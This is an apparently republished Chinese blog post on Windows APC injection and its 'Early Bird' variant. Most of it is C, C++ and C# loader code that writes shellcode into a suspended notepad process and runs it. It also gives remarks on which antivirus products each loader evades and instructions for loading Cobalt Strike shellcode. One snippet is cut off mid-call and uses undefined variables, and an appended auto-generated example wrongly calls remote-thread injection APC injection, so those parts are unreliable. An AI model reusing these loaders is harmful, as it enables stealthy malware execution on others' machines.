APC注入以及几种实现方式

声明
出品|先知社区(ID:林寒)

以下内容,来自先知社区的林寒作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

APC介绍

APC中文名称为异步过程调用, APC是一个链状的数据结构,可以让一个线程在其本应该的执行步骤前执行其他代码,每个线程都维护这一个APC链。当线程从等待状态苏醒后,会自动检测自己得APC队列中是否存在APC过程。

所以只需要将目标进程的线程的APC队列里面添加APC过程,当然为了提高命中率可以向进程的所有线程中添加APC过程。然后促使线程从休眠中恢复就可以实现APC注入。

APC注入的一些前置如下:

  • 线程在进程内执行

  • 线程会调用在APC队列中的函数

  • 应用可以给特定线程的APC队列压入函数(有权限控制)

  • 压入队列后,线程将按照顺序优先级执行(FIFO)

  • 这种注入技术的缺点是只有当线程处在alertable状态时才去执行这些APC函数

MSDN上对此解释如下

图片

QueueUserApc:函数作用:添加制定的异步函数调用(回调函数)到执行的线程的APC队列中

APCproc:函数作用: 回调函数的写法.

首先异步函数调用的原理:

异步过程调用是一种能在特定线程环境中异步执行的系统机制。

往线程APC队列添加APC,系统会产生一个软中断。在线程下一次被调度的时候,就会执行APC函数,APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC被称为用户模式APC

APC注入

简单原理

1.当对面程序执行到某一个上面的等待函数的时候,系统会产生一个中断

2.当线程唤醒的时候,这个线程会优先去Apc队列中调用回调函数

3.我们利用QueueUserApc,往这个队列中插入一个回调

4.插入回调的时候,把插入的回调地址改为LoadLibrary,插入的参数我们使用VirtualAllocEx申请内存,并且写入进去

注入流程

图片

QueueUserAPC函数的第一个参数表示执行的函数地址,当开始执行该APC的时候,程序就会跳转到该函数地址执行。第二个参数表示插入APC的线程句柄,要求线程句柄必须包含THREAD_SET_CONTEXT访问权限。第三个参数表示传递给执行函数的参数。

与远线程注入类似,如果QueueUserAPC函数的第一个参数,即函数地址设置的是LoadLibraryA函数地址,第三个参数,即传递参数设置的是DLL的路径。

那么,当执行APC的时候,便会调用LoadLibraryA函数加载指定路径的DLL,完成DLL注入操作。如果直接传入shellcode不设置第三个函数,可以直接执行shellcode。

APC注入实现

函数原型

DWORD QueueUserAPC(
  [in] PAPCFUNC  pfnAPC,     //APC 注入方式
  [in] HANDLE    hThread,     
  [in] ULONG_PTR dwData
);

C++ 实现

代码如下

#include <Windows.h>#include <iostream>unsigned char shellcode[] = "<shellcode>";    //shellcode "\xfc\x48\x83\xe4"int main(){
    LPCSTR lpApplication = "C:\\Windows\\System32\\notepad.exe";   //path
    SIZE_T buff = sizeof(shellcode);      //size of shellcode
    STARTUPINFOA sInfo = { 0 };
    PROCESS_INFORMATION pInfo = { 0 };     //return a new process info
    CreateProcessA(lpApplication, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &sInfo, &pInfo);      //create a new thread for process
    HANDLE hProc = pInfo.hProcess;
    HANDLE hThread = pInfo.hThread;    
    // write shellcode to the process memory
    LPVOID lpvShellAddress = VirtualAllocEx(hProc, NULL, buff, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    PTHREAD_START_ROUTINE ptApcRoutine = (PTHREAD_START_ROUTINE)lpvShellAddress;
    WriteProcessMemory(hProc, lpvShellAddress, shellcode, buff, NULL)
    // use QueueUserAPC  load shellcode
    QueueUserAPC((PAPCFUNC)ptApcRoutine, hThread, NULL);
    ResumeThread(hThread);
    return 0;}

图片

C#实现

代码如下

using System;using System.Runtime.InteropServices; 
public class shellcode { [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)] 
public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
 [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)] 
 public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)] 
 public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [MarshalAs(UnmanagedType.AsAny)] object lpBuffer, uint nSize, ref uint lpNumberOfBytesWritten); [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] 
 public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId); [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] public static extern uint ResumeThread(IntPtr hThread); [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)] public static extern bool CloseHandle(IntPtr hObject); [DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] public static extern bool CreateProcess(IntPtr lpApplicationName, string lpCommandLine, IntPtr lpProcAttribs, IntPtr lpThreadAttribs, bool bInheritHandles, uint dwCreateFlags, IntPtr lpEnvironment, IntPtr lpCurrentDir, [In] ref STARTUPINFO lpStartinfo, out PROCESS_INFORMATION lpProcInformation); public enum ProcessAccessRights { All = 0x001F0FFF, Terminate = 0x00000001, CreateThread = 0x00000002, VirtualMemoryOperation = 0x00000008, VirtualMemoryRead = 0x00000010, VirtualMemoryWrite = 0x00000020, DuplicateHandle = 0x00000040, CreateProcess = 0x000000080, SetQuota = 0x00000100, SetInformation = 0x00000200, QueryInformation = 0x00000400, QueryLimitedInformation = 0x00001000, Synchronize = 0x00100000 } public enum ThreadAccess : int { TERMINATE = (0x0001), SUSPEND_RESUME = (0x0002), GET_CONTEXT = (0x0008), SET_CONTEXT = (0x0010), SET_INFORMATION = (0x0020), QUERY_INFORMATION = (0x0040), SET_THREAD_TOKEN = (0x0080), IMPERSONATE = (0x0100), DIRECT_IMPERSONATION = (0x0200), THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT, THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION } public enum MemAllocation { MEM_COMMIT = 0x00001000, MEM_RESERVE = 0x00002000, MEM_RESET = 0x00080000, MEM_RESET_UNDO = 0x1000000, SecCommit = 0x08000000 } public enum MemProtect { PAGE_EXECUTE = 0x10, PAGE_EXECUTE_READ = 0x20, PAGE_EXECUTE_READWRITE = 0x40, PAGE_EXECUTE_WRITECOPY = 0x80, PAGE_NOACCESS = 0x01, PAGE_READONLY = 0x02, PAGE_READWRITE = 0x04, PAGE_WRITECOPY = 0x08, PAGE_TARGETS_INVALID = 0x40000000, PAGE_TARGETS_NO_UPDATE = 0x40000000, } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId; } [StructLayout(LayoutKind.Sequential)] internal struct PROCESS_BASIC_INFORMATION { public IntPtr Reserved1; public IntPtr PebAddress; public IntPtr Reserved2; public IntPtr Reserved3; public IntPtr UniquePid; public IntPtr MoreReserved; } [StructLayout(LayoutKind.Sequential)] //internal struct STARTUPINFO public struct STARTUPINFO { uint cb; IntPtr lpReserved; IntPtr lpDesktop; IntPtr lpTitle; uint dwX; uint dwY; uint dwXSize; uint dwYSize; uint dwXCountChars; uint dwYCountChars; uint dwFillAttributes; public uint dwFlags; public ushort wShowWindow; ushort cbReserved; IntPtr lpReserved2; IntPtr hStdInput; IntPtr hStdOutput; IntPtr hStdErr; } public static PROCESS_INFORMATION StartProcess(string binaryPath) { uint flags = 0x00000004; STARTUPINFO startInfo = new STARTUPINFO(); PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION(); CreateProcess((IntPtr)0, binaryPath, (IntPtr)0, (IntPtr)0, false, flags, (IntPtr)0, (IntPtr)0, ref startInfo, out procInfo); return procInfo; } public TestClass() { string b64 = ""; //shellcode base64 encode string targetprocess = "C:/Windows/System32/notepad.exe"; byte[] shellcode = new byte[] { }; shellcode = Convert.FromBase64String(b64); uint lpNumberOfBytesWritten = 0; PROCESS_INFORMATION processInfo = StartProcess(targetprocess); IntPtr pHandle = OpenProcess((uint)ProcessAccessRights.All, false, (uint)processInfo.dwProcessId); //write shellcode to the process memory IntPtr rMemAddress = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)shellcode.Length, (uint)MemAllocation.MEM_RESERVE | (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE); if (WriteProcessMemory(pHandle, rMemAddress, shellcode, (uint)shellcode.Length, ref lpNumberOfBytesWritten)) { IntPtr tHandle = OpenThread(ThreadAccess.THREAD_ALL, false, (uint)processInfo.dwThreadId); IntPtr ptr = QueueUserAPC(rMemAddress, tHandle, IntPtr.Zero); ResumeThread(tHandle); } bool hOpenProcessClose = CloseHandle(pHandle); } }

这里测试过了火绒但是没过360

C实现

代码如下

#include <windows.h>#include <stdio.h>unsigned char shellcode[] = <shellcode>;   //shellcode   {0xfc,0x48,0x83}unsigned int buff = sizeof(shellcode);int main(void) {
 STARTUPINFO si;
 PROCESS_INFORMATION pi;
 void * ptApcRoutine;
 ZeroMemory(&si, sizeof(si));
 si.cb = sizeof(si);
 ZeroMemory(&pi, sizeof(pi)); CreateProcessA(0, "notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi);
 ptApcRoutine = VirtualAllocEx(pi.hProcess, NULL, buff, MEM_COMMIT, PAGE_EXECUTE_READ);
 WriteProcessMemory(pi.hProcess, ptApcRoutine, (PVOID) shellcode, (SIZE_T) buff, (SIZE_T *) NULL);
 QueueUserAPC((PAPCFUNC)ptApcRoutine, pi.hThread, NULL);
 ResumeThread(pi.hThread);
 return 0;
}

这里被360杀了,但是加载是能上线的。

APC注入变种Early bird

Early Bird是一种简单而强大的技术,Early Bird本质上是一种APC注入与线程劫持的变体,由于线程初始化时会调用ntdll未导出函数NtTestAlert,NtTestAlert是一个检查当前线程的 APC 队列的函数,如果有任何排队作业,它会清空队列。当线程启动时,NtTestAlert会在执行任何操作之前被调用。因此,如果在线程的开始状态下对APC进行操作,就可以完美的执行shellcode。(如果要将shellcode注入本地进程,则可以APC到当前线程并调用NtTestAlert函数来执行)

通常使用的 Windows 函数包括:

  • CreateProcessA:此函数用于创建新进程及其主线程。

  • VirtualAllocEx:在指定进程的虚拟空间保留或提交内存区域

  • WriteProcessMemory:将数据写入指定进程的内存区域。

  • QueueUserAPC:允许将 APC 对象添加到指定线程的 APC 队列中。

Early bird注入流程

1.创建一个挂起的进程(通常是windows的合法进程)

2.在挂起的进程内申请一块可读可写可执行的内存空间

3.往申请的空间内写入shellcode

4.将APC插入到该进程的主线程

5.恢复挂起进程的线程

图片

Early bird注入实现

C实现

代码如下

#include <Windows.h>int main() {
 unsigned char shellcode[] = "<shellcode>"; //shellcode  "\xfc\x48\x83\xe4"
 SIZE_T shellSz = sizeof(buff);
 STARTUPINFOA st = { 0 };
 PROCESS_INFORMATION prt = { 0 };
 CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &st, &prt);
 HANDLE victimProcess = prt.hProcess;
 HANDLE threadHandle = prt.hThread;
 LPVOID shellAddr = VirtualAllocEx(victimProcess, NULL, shellSz, MEM_COMMIT,

图片

C++实现

代码如下

#include <Windows.h>int main(){
    unsigned char shellcode[] = "<shellcode>";    //"\xfc\x48\x83\xe4"
    SIZE_T shellSize = sizeof(buf);
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
    HANDLE victimProcess = pi.hProcess;
    HANDLE threadHandle = pi.hThread;
    LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
    WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
    QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
    ResumeThread(threadHandle);
    return 0;}

图片

Go实现

参考项目:

https://github.com/Ne0nd0g/go-shellcode/blob/master/cmd/EarlyBird
将其中的shellcode替换成CS的shellcode即可
图片
编译之后运行上线
图片

参考

  • https://docs.microsoft.com/zhcn/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc?redirectedfrom=MSD

  • http://subt0x10.blogspot.com/2017/01/shellcode-injection-via-queueuserapc.html

  • https://www.cnblogs.com/iBinary/p/7574055.html

  • https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection

  • https://idiotc4t.com/code-and-dll-process-injection/early-bird

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
APC(Asynchronous Procedure Call)指异步过程调用,是Windows操作系统中的一种机制。通过APC注入,可以在目标进程中执行指定的函数或代码。 以下是一个简单的APC注入代码示例: ```c++ #include <windows.h> #include <tlhelp32.h> void apcFunc(ULONG_PTR dwParam) { MessageBoxA(NULL, "APC Injection Successful!", "Success", MB_OK); } int main() { // 获取目标进程ID DWORD pid = 0; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe32; pe32.dwSize = sizeof(PROCESSENTRY32); if (Process32First(snapshot, &pe32)) { do { if (strcmp(pe32.szExeFile, "target.exe") == 0) { pid = pe32.th32ProcessID; break; } } while (Process32Next(snapshot, &pe32)); } CloseHandle(snapshot); if (pid == 0) { MessageBoxA(NULL, "Target process not found!", "Error", MB_ICONERROR); return 0; } // 打开目标进程 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if (hProcess == NULL) { MessageBoxA(NULL, "Failed to open target process!", "Error", MB_ICONERROR); return 0; } // 在目标进程中分配一块内存 LPVOID pRemoteFunc = VirtualAllocEx(hProcess, NULL, 1024, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (pRemoteFunc == NULL) { MessageBoxA(NULL, "Failed to allocate memory in target process!", "Error", MB_ICONERROR); CloseHandle(hProcess); return 0; } // 在当前进程中写入要注入的代码 BYTE code[] = {0x68, 0x00, 0x00, 0x00, 0x00, // push dwParam 0x68, 0x00, 0x00, 0x00, 0x00, // push apcFunc 0xC3}; // ret *(ULONG_PTR *)(code + 1) = (ULONG_PTR)pRemoteFunc + 1024 - 4; *(ULONG_PTR *)(code + 6) = (ULONG_PTR)apcFunc; SIZE_T bytesWritten = 0; if (!WriteProcessMemory(hProcess, pRemoteFunc, code, sizeof(code), &bytesWritten) || bytesWritten != sizeof(code)) { MessageBoxA(NULL, "Failed to write code to target process!", "Error", MB_ICONERROR); VirtualFreeEx(hProcess, pRemoteFunc, 0, MEM_RELEASE); CloseHandle(hProcess); return 0; } // 获取目标进程中kernel32.dll中的LoadLibraryA函数地址 HMODULE hMod = GetModuleHandleA("kernel32.dll"); FARPROC pfnLoadLibraryA = GetProcAddress(hMod, "LoadLibraryA"); if (pfnLoadLibraryA == NULL) { MessageBoxA(NULL, "Failed to get LoadLibraryA address!", "Error", MB_ICONERROR); VirtualFreeEx(hProcess, pRemoteFunc, 0, MEM_RELEASE); CloseHandle(hProcess); return 0; } // 将LoadLibraryA函数地址作为回调函数注入到目标进程中 HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pfnLoadLibraryA, pRemoteFunc, 0, NULL); if (hThread == NULL) { MessageBoxA(NULL, "Failed to create remote thread in target process!", "Error", MB_ICONERROR); VirtualFreeEx(hProcess, pRemoteFunc, 0, MEM_RELEASE); CloseHandle(hProcess); return 0; } // 等待注入完成 WaitForSingleObject(hThread, INFINITE); // 清理资源 VirtualFreeEx(hProcess, pRemoteFunc, 0, MEM_RELEASE); CloseHandle(hThread); CloseHandle(hProcess); return 0; } ``` 上述代码会在目标进程中注入一个APC,当APC被激活时,会在目标进程中执行一个MessageBoxA函数,弹出一个消息框。在实际使用中,可以将apcFunc替换为要执行的代码的地址,实现对目标进程的控制。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值